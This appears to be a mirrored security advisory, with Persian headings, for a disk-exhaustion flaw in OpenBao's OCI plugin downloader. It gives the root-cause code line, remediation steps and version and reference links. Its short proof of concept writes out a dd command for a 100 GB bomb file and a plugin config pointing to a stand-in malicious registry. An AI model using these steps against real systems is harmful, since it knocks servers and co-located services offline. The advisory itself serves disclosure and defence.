نسخههای متأثر
بازهها نیاز به بررسی دارند.
- نسخههای متأثر
- < 0.0.0-20260420180337-2b2a901aa9f7
- نسخهٔ اصلاحشده
- 0.0.0-20260420180337-2b2a901aa9f7
- نسخههای متأثر
- <0.0.0-20260420180337-2b2a901aa9f7
- نسخهٔ اصلاحشده
- 0.0.0-20260420180337-2b2a901aa9f7
بهرهبرداری
شرح آسیبپذیری
Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
Set up a malicious OCI registry
Create a decompression bomb binary:
dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binaryPackage it in a minimal OCI image
Push to the malicious registry
Configure victim OpenBao to use this registry:
plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = trueStart OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
Denial of Service: Disk exhaustion on the OpenBao server
Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Remediation
Validate
header.Sizeagainst a configurable maximum before opening the output fileWrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copyAdd a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
پیوندها
- https://github.com/advisories/GHSA-r65v-xgwc-g56j
- https://github.com/openbao/openbao/commit/af576af5322c6552a017ad10fd76aa4f40fd021e
- https://github.com/openbao/openbao/pull/2941
- https://github.com/openbao/openbao/releases/tag/v2.5.3
- https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j
- https://nvd.nist.gov/vuln/detail/CVE-2026-39396
گزارشدهندگان
- n1rwhex

